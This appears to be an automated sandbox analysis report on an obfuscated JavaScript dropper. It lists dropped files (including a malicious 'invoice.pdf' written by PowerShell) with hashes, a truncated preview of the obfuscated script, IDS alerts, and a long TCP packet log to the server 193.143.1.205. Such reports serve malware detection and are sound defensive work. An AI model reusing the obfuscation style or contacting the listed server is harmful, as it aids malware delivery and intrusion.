Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\23668c58-4431-4c12-9eae-a099cc25c424.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17744), with CRLF line terminators
Entropy (8bit):	4.905495391107177
TrID:
File name:	17231147702223410654.js
File size:	21'076 bytes
MD5:	242a465545c6da5b0bf80ef42fbe0f25
SHA1:	4bf21e9b5e8187105b28471224cf18de8761815e
SHA256:	2ae08504c74a28d965c1306456a86413a6ed3e4150cba9aa5462e60c90543be0
SHA512:	f4aa3de536879c2c9b0b3b1b97ed26eb7646bdceabce5fca48581831bbff7526ae80168d0f47535b1fa0dbb9297ce6603710af5202274fca5cdf2b153bb67230
SSDEEP:	384:+rzC0TX4HQgJ4Lu8rghTTwosKzc8LNmyaaamJz:+3C0zkJ4a7hTTwos/yNmTaamZ
TLSH:	E992B64160C7C7DA01F5A0B8334F3CF821FC6786E9CC596F3112A184AACEA7964F29B5
File Content Preview:	function bmzkep(){eifjk=[1031,3079,5127,4103,2055,3072];var glgovflm=this[vgjkcm+zlhchc+cpfojsr+hgupe+wquea+aridz+fpzwns+bcbgepx](this[ygudb+iifsmowrc+vrxep+cpfojsr+pexbbb+vgjkcm+bcbgepx][tkxcasi+cpfojsr+wquea+zlhchc+bcbgepx+wquea+fdhkjkah+jihhrbqjo+qfbvl

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T23:46:03.095700+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49705	193.143.1.205	80	TCP
2025-01-10T23:46:05.833126+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49706	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 23:46:02.311959982 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:02.316936970 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:02.317054033 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:02.322057009 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:02.326948881 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.095551968 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.095573902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.095685005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.095695019 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.095700026 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.095706940 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.095720053 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.095730066 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.095737934 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.095751047 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.095763922 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.095768929 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.095804930 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.095804930 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.100509882 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.100557089 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.100562096 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.100629091 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.138356924 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.138489008 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.138497114 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.192547083 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.219799995 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.219815969 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.219827890 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.219842911 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.219959974 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.219959974 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.220079899 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.220091105 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.220185995 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.220212936 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.220269918 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.220283031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.220304966 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.220319986 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.220324039 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.220350027 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.221030951 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.221043110 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.221055031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.221096039 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.221106052 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.221117973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.221134901 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.221144915 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.221144915 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.221957922 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.221981049 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.221996069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.222028017 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.222048998 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.223438978 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.223449945 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.224235058 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.225303888 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.225327015 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.225711107 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.262612104 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.262625933 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.262748003 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.306731939 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.306775093 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.306853056 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.345777988 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.345819950 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.345830917 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.345851898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.345863104 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.345875978 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.345889091 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.345889091 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.345907927 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.346292019 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.346327066 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.346391916 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.346477032 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.346507072 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.346519947 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.346534014 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.346550941 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.346596003 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.346916914 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.346951008 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.346962929 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.346973896 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.346996069 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.347012997 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.347028017 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.347038031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.347048998 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.347090960 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.347924948 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.347937107 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.347949982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.347959995 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.347970963 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.347973108 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.347980976 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.347995043 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.348022938 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.348022938 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.348051071 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.348810911 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.348823071 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.348834991 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.348845959 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.348856926 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.348869085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.348877907 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.348881006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.348923922 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.348923922 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.349596977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.349608898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.349621058 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.349657059 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.349657059 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.349709988 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.349720955 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.349731922 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.349745035 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.349771023 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.349791050 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.350513935 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.350526094 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.350538015 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.350550890 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.350572109 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.350615025 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.393724918 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.393744946 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.393764973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.393776894 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.393790007 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.393815994 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.393815994 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.393915892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.393927097 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.393958092 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.432641029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.432782888 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.470288038 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.470314980 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.470329046 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.470340014 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.470352888 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.470362902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.470377922 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.470382929 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.470447063 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.470582962 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.470622063 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.470633984 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.470647097 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.470658064 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.470725060 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.470736027 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.470747948 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.470757961 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.470763922 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.470763922 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.470833063 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.470999002 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.471019030 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.471043110 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.471076965 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.471087933 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.471112013 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.471116066 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.471149921 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.471244097 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.471261978 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.471276045 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.471287966 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.471287966 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.471290112 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.471323013 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.471338987 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.471352100 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.471390009 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.471836090 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.471862078 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.471879959 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.471884012 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.471894979 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.471970081 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.471982956 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.471991062 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.471993923 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.472007036 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.472032070 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.472059965 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.472071886 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.472084999 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.472095013 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.472095966 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.472100973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.472136974 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.472744942 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.472769976 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.472780943 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.472824097 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.472824097 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.472840071 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.472851992 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.472889900 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.472901106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.472913980 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.472939014 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.472939968 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.472939968 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.472949982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.472978115 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.473006964 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.473020077 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.473087072 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.473750114 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.473774910 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.473787069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.473800898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.473802090 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.473841906 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.473845959 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.473858118 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.473896027 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.473922968 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.473934889 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.473946095 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.473958969 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.473995924 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.473995924 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.474011898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.474025011 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.474072933 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.474670887 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.474684000 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.474692106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.474703074 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.474709034 CET	80	49705	193.143.1.205	192.168.2.8
